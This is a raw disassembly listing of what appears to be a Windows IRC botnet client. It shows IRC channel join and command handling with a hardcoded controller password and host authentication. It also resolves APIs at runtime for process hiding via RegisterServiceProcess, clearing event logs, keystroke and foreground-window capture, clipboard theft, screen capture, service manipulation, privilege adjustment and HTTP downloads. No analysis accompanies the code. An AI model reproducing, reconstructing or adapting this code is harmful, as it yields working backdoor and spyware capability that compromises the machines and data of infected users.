		imul	eax, 3E8h
		jmp	short loc_409AA9
; ---------------------------------------------------------------------------

loc_409AF5:				; CODE XREF: sub_401CC7+E9Dj
					; sub_401CC7+EB2j
		push	dword ptr [ebp+esi+Args] ; Str1
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	dword_440098	; int
		push	eax		; Dest
		call	sub_40B487
		add	esp, 10h
		lea	eax, [ebp+Str1]
		push	eax		; Args
		push	offset aNickS_8	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		lea	eax, [ebp+Str1]
		push	eax		; Args
		push	offset asc_4410A4 ; "-"

loc_409B40:				; CODE XREF: sub_401CC7+7222j
					; sub_401CC7+78DBj ...
		call	sub_415CEB
		pop	ecx

loc_409B46:				; CODE XREF: sub_401CC7+6E08j
		pop	ecx

loc_409B47:				; CODE XREF: sub_401CC7+624j
					; sub_401CC7+630j ...
		mov	eax, [ebp+File]
		jmp	loc_402169
; ---------------------------------------------------------------------------

loc_409B4F:				; CODE XREF: sub_401CC7+A80j
					; sub_401CC7+A95j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_402166
		cmp	[ebp+var_A8], ebx
		jnz	loc_402166
		push	offset asc_440EE8 ; "!"
		push	[ebp+var_90]	; Str
		call	_strtok
		mov	esi, eax
		push	offset byte_4E40C0 ; Delim
		push	ebx		; Str
		inc	esi
		call	_strtok
		push	offset asc_440EEC ; "~"
		push	eax		; Str
		call	_strtok
		push	[ebp+arg_20]	; Str2
		mov	edi, eax
		push	offset aIkke	; "ikke"
		call	_strcmp
		add	esp, 20h
		test	eax, eax
		jz	short loc_409BEE
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 14h
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_440F44
		jmp	loc_4025D0
; ---------------------------------------------------------------------------

loc_409BEE:				; CODE XREF: sub_401CC7+7EE3j
		mov	[ebp+File], offset off_440130

loc_409BF5:				; CODE XREF: sub_401CC7+7F4Aj
		mov	eax, [ebp+File]
		push	edi
		push	dword ptr [eax]
		call	sub_40BAE7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409C55
		add	[ebp+File], 4
		cmp	[ebp+File], offset off_440134
		jb	short loc_409BF5
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 14h
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_440FC4
		jmp	loc_4025D0
; ---------------------------------------------------------------------------

loc_409C55:				; CODE XREF: sub_401CC7+7F3Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409C5A:				; CODE XREF: sub_401CC7+7FBDj
		cmp	[ebp+arg_20], ebx
		jz	loc_402166
		cmp	[edi], bl
		jnz	short loc_409C7A
		push	[ebp+arg_20]	; Str2
		push	offset aIkke	; "ikke"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409C8B

loc_409C7A:				; CODE XREF: sub_401CC7+7F9Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409C5A
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_409C8B:				; CODE XREF: sub_401CC7+7FB1j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh		; Count
		push	eax		; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_409CC2
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_440FF0 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_409CC2:				; CODE XREF: sub_401CC7+7FDFj
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset asc_441010 ; "-"

loc_409CCE:				; CODE XREF: sub_401CC7+58Dj
					; sub_401CC7+28C1j ...
		call	sub_415CEB

loc_409CD3:				; CODE XREF: sub_401CC7+1B9Bj
		pop	ecx

loc_409CD4:				; CODE XREF: sub_401CC7+2517j
		pop	ecx
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_409CDA:				; CODE XREF: sub_401CC7+205j
					; sub_401CC7+21Aj
		push	[ebp+Source]	; Args
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+Source]	; Args
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26
		add	esp, 10h
		mov	dword_4E40B0, edi
		jmp	loc_401F5B
sub_401CC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_409D26(int,char *Format,char Args)

sub_409D26	proc near		; CODE XREF: sub_401B4F+3Dp
					; sub_401CC7+1C2p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Format		= dword	ptr  0Ch
Args		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	200h		; Count
		push	eax		; Dest
		call	__vsnprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		leave
		retn
sub_409D26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_409D6C(int,char *Str,int,int,int)

sub_409D6C	proc near		; CODE XREF: sub_401CC7+4FDp
					; sub_401CC7+133Ep ...

var_400		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice_3 ;	"NOTICE"
		jnz	short loc_409D87
		mov	edi, offset aPrivmsg_2 ; "PRIVMSG"

loc_409D87:				; CODE XREF: sub_409D6C+14j
		push	edi		; Str
		call	_strlen
		push	[ebp+Str]	; Str
		mov	esi, 1FAh
		sub	esi, eax
		call	_strlen
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_21	; "%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+Str]
		push	edi
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409E0A
		push	7D0h
		call	ds:dword_4F6380	; Sleep

locret_409E0A:				; CODE XREF: sub_409D6C+91j
		leave
		retn
sub_409D6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E0C	proc near		; CODE XREF: WinMain(x,x,x,x)+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4F63A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_4F63C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409F2C
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4E42CC, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4E4240, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4E4224, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4E4134, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4E40E0, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4E4110, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4E4188, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4E4280, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4E42DC, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4E4140, eax
		call	esi	; GetProcAddress
		cmp	dword_4E42CC, ebx
		mov	dword_4E4128, eax
		jz	short loc_409F0A
		cmp	dword_4E4240, ebx
		jz	short loc_409F0A
		cmp	dword_4E4224, ebx
		jz	short loc_409F0A
		cmp	dword_4E4134, ebx
		jz	short loc_409F0A
		cmp	dword_4E4110, ebx
		jz	short loc_409F0A
		cmp	dword_4E4188, ebx
		jz	short loc_409F0A
		cmp	dword_4E4280, ebx
		jz	short loc_409F0A
		cmp	dword_4E42DC, ebx
		jz	short loc_409F0A
		cmp	dword_4E4140, ebx
		jz	short loc_409F0A
		cmp	eax, ebx
		jnz	short loc_409F14

loc_409F0A:				; CODE XREF: sub_409E0C+B8j
					; sub_409E0C+C0j ...
		mov	dword_4E42E0, 1

loc_409F14:				; CODE XREF: sub_409E0C+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E4258, eax
		jz	short loc_409F41
		push	1
		push	ebx
		call	eax
		jmp	short loc_409F41
; ---------------------------------------------------------------------------

loc_409F2C:				; CODE XREF: sub_409E0C+1Dj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E42E4, eax
		mov	dword_4E42E0, 1

loc_409F41:				; CODE XREF: sub_409E0C+117j
					; sub_409E0C+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4F63C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A056
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4E427C, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4E422C, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4E41C0, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4E42D0, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4E41F0, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4E4210, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4E4274, eax
		call	esi	; GetProcAddress
		cmp	dword_4E427C, ebx
		mov	dword_4E4160, eax
		jz	short loc_409FFA
		cmp	dword_4E422C, ebx
		jz	short loc_409FFA
		cmp	dword_4E41C0, ebx
		jz	short loc_409FFA
		cmp	dword_4E42D0, ebx
		jz	short loc_409FFA
		cmp	dword_4E41F0, ebx
		jz	short loc_409FFA
		cmp	dword_4E4210, ebx
		jz	short loc_409FFA
		cmp	dword_4E4274, ebx
		jz	short loc_409FFA
		cmp	eax, ebx
		jnz	short loc_40A004

loc_409FFA:				; CODE XREF: sub_409E0C+1B8j
					; sub_409E0C+1C0j ...
		mov	dword_4E42E8, 1

loc_40A004:				; CODE XREF: sub_409E0C+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4E41EC, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4E40F4, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4E41BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E41EC, ebx
		mov	dword_4E41A4, eax
		jz	short loc_40A061
		cmp	dword_4E40F4, ebx
		jz	short loc_40A061
		cmp	dword_4E41BC, ebx
		jz	short loc_40A061
		cmp	eax, ebx
		jnz	short loc_40A06B
		jmp	short loc_40A061
; ---------------------------------------------------------------------------

loc_40A056:				; CODE XREF: sub_409E0C+144j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E42EC, eax

loc_40A061:				; CODE XREF: sub_409E0C+232j
					; sub_409E0C+23Aj ...
		mov	dword_4E42E8, 1

loc_40A06B:				; CODE XREF: sub_409E0C+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A224
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4E4290, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4E41D4, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4E4244, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4E4120, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4E4184, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4E41FC, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4E41A0, eax
		call	esi	; GetProcAddress
		cmp	dword_4E4290, ebx
		mov	dword_4E41B0, eax
		jz	short loc_40A114
		cmp	dword_4E41D4, ebx
		jz	short loc_40A114
		cmp	dword_4E4244, ebx
		jz	short loc_40A114
		cmp	dword_4E4120, ebx
		jz	short loc_40A114
		cmp	dword_4E4184, ebx
		jz	short loc_40A114
		cmp	dword_4E41FC, ebx
		jnz	short loc_40A11E

loc_40A114:				; CODE XREF: sub_409E0C+2DEj
					; sub_409E0C+2E6j ...
		mov	dword_4E42F0, 1

loc_40A11E:				; CODE XREF: sub_409E0C+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4E4204, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4E41DC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E4204, ebx
		mov	dword_4E428C, eax
		jz	short loc_40A159
		cmp	dword_4E41DC, ebx
		jz	short loc_40A159
		cmp	eax, ebx
		jnz	short loc_40A163

loc_40A159:				; CODE XREF: sub_409E0C+33Fj
					; sub_409E0C+347j
		mov	dword_4E42F0, 1

loc_40A163:				; CODE XREF: sub_409E0C+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4E4214, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4E40FC, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4E4104, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4E4168, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4E416C, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4E4118, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4E41E0, eax
		call	esi	; GetProcAddress
		cmp	dword_4E4214, ebx
		mov	dword_4E4108, eax
		jz	short loc_40A207
		cmp	dword_4E40FC, ebx
		jz	short loc_40A207
		cmp	dword_4E4104, ebx
		jz	short loc_40A207
		cmp	dword_4E4168, ebx
		jz	short loc_40A207
		cmp	dword_4E416C, ebx
		jz	short loc_40A207
		cmp	dword_4E4118, ebx
		jz	short loc_40A207
		cmp	dword_4E41E0, ebx
		jz	short loc_40A207
		cmp	eax, ebx
		jnz	short loc_40A211

loc_40A207:				; CODE XREF: sub_409E0C+3C5j
					; sub_409E0C+3CDj ...
		mov	dword_4E42F0, 1

loc_40A211:				; CODE XREF: sub_409E0C+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E4100, eax
		jnz	short loc_40A239
		jmp	short loc_40A22F
; ---------------------------------------------------------------------------

loc_40A224:				; CODE XREF: sub_409E0C+26Aj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E42F4, eax

loc_40A22F:				; CODE XREF: sub_409E0C+416j
		mov	dword_4E42F0, 1

loc_40A239:				; CODE XREF: sub_409E0C+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A305
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4E420C, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4E4264, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4E426C, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4E4228, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4E4144, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4E40F0, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4E4268, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4E40DC, eax
		call	esi	; GetProcAddress
		cmp	dword_4E420C, ebx
		mov	dword_4E417C, eax
		jz	short loc_40A310
		cmp	dword_4E4264, ebx
		jz	short loc_40A310
		cmp	dword_4E426C, ebx
		jz	short loc_40A310
		cmp	dword_4E4228, ebx
		jz	short loc_40A310
		cmp	dword_4E4144, ebx
		jz	short loc_40A310
		cmp	dword_4E40F0, ebx
		jz	short loc_40A310
		cmp	dword_4E4268, ebx
		jz	short loc_40A310
		cmp	dword_4E40DC, ebx
		jz	short loc_40A310
		cmp	eax, ebx
		jnz	short loc_40A31A
		jmp	short loc_40A310
; ---------------------------------------------------------------------------

loc_40A305:				; CODE XREF: sub_409E0C+438j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E42FC, eax

loc_40A310:				; CODE XREF: sub_409E0C+4B9j
					; sub_409E0C+4C1j ...
		mov	dword_4E42F8, 1

loc_40A31A:				; CODE XREF: sub_409E0C+4F5j
		mov	ebp, ds:dword_4F63C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A5D6
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4E4190, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4E42C4, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4E4130, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4E410C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4E41CC, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4E41B4, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4E4178, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4E42A0, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4E42BC, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4E41C8, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4E42AC, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4E4260, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4E4220, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4E421C, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4E4150, eax
		call	esi	; GetProcAddress
		push	offset aSend_1	; "send"
		push	edi
		mov	dword_4E4148, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4E4270, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4E4284, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4E4238, eax
		call	esi	; GetProcAddress
		mov	dword_4E41F8, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4E424C, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4E4208, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4E4248, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4E42B4, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4E4200, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4E41C4, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4E4234, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4E42A4, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4E41D8, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4E4174, eax
		call	esi	; GetProcAddress
		cmp	dword_4E4190, ebx
		mov	dword_4E42B8, eax
		jz	loc_40A5E1
		cmp	dword_4E42C4, ebx
		jz	loc_40A5E1
		cmp	dword_4E4130, ebx
		jz	loc_40A5E1
		cmp	dword_4E41CC, ebx
		jz	loc_40A5E1
		cmp	dword_4E41B4, ebx
		jz	loc_40A5E1
		cmp	dword_4E4178, ebx
		jz	loc_40A5E1
		cmp	dword_4E42A0, ebx
		jz	loc_40A5E1
		cmp	dword_4E42BC, ebx
		jz	loc_40A5E1
		cmp	dword_4E41C8, ebx
		jz	loc_40A5E1
		cmp	dword_4E42AC, ebx
		jz	loc_40A5E1
		cmp	dword_4E4260, ebx
		jz	loc_40A5E1
		cmp	dword_4E4220, ebx
		jz	loc_40A5E1
		cmp	dword_4E421C, ebx
		jz	loc_40A5E1
		cmp	dword_4E4150, ebx
		jz	short loc_40A5E1
		cmp	dword_4E4270, ebx
		jz	short loc_40A5E1
		cmp	dword_4E4284, ebx
		jz	short loc_40A5E1
		cmp	dword_4E4238, ebx
		jz	short loc_40A5E1
		cmp	dword_4E41F8, ebx
		jz	short loc_40A5E1
		cmp	dword_4E424C, ebx
		jz	short loc_40A5E1
		cmp	dword_4E4208, ebx
		jz	short loc_40A5E1
		cmp	dword_4E4248, ebx
		jz	short loc_40A5E1
		cmp	dword_4E42B4, ebx
		jz	short loc_40A5E1
		cmp	dword_4E4200, ebx
		jz	short loc_40A5E1
		cmp	dword_4E41C4, ebx
		jz	short loc_40A5E1
		cmp	dword_4E4234, ebx
		jz	short loc_40A5E1
		cmp	dword_4E42A4, ebx
		jz	short loc_40A5E1
		cmp	dword_4E41D8, ebx
		jz	short loc_40A5E1
		cmp	eax, ebx
		jnz	short loc_40A5EB
		jmp	short loc_40A5E1
; ---------------------------------------------------------------------------

loc_40A5D6:				; CODE XREF: sub_409E0C+51Fj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E4304, eax

loc_40A5E1:				; CODE XREF: sub_409E0C+6BEj
					; sub_409E0C+6CAj ...
		mov	dword_4E4300, 1

loc_40A5EB:				; CODE XREF: sub_409E0C+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A6F0
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4E415C, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4E40E4, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4E41E8, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4E4194, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4E41F4, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4E41B8, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4E4124, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4E411C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4E412C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E415C, ebx
		mov	ecx, dword_4E41B8
		mov	dword_4E4254, eax
		jz	short loc_40A6CC
		cmp	dword_4E40E4, ebx
		jz	short loc_40A6CC
		cmp	dword_4E41E8, ebx
		jz	short loc_40A6CC
		cmp	dword_4E4194, ebx
		jz	short loc_40A6CC
		cmp	dword_4E41F4, ebx
		jz	short loc_40A6CC
		cmp	ecx, ebx
		jz	short loc_40A6CC
		cmp	dword_4E4124, ebx
		jz	short loc_40A6CC
		cmp	dword_4E411C, ebx
		jz	short loc_40A6CC
		cmp	dword_4E412C, ebx
		jz	short loc_40A6CC
		cmp	eax, ebx
		jnz	short loc_40A6D6

loc_40A6CC:				; CODE XREF: sub_409E0C+87Ej
					; sub_409E0C+886j ...
		mov	dword_4E4308, 1

loc_40A6D6:				; CODE XREF: sub_409E0C+8BEj
		cmp	ecx, ebx
		jz	short loc_40A70B
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4E41D0, eax
		jnz	short loc_40A70B
		jmp	short loc_40A705
; ---------------------------------------------------------------------------

loc_40A6F0:				; CODE XREF: sub_409E0C+7EAj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E430C, eax
		mov	dword_4E4308, 1

loc_40A705:				; CODE XREF: sub_409E0C+8E2j
		mov	dword_4E41D0, ebx

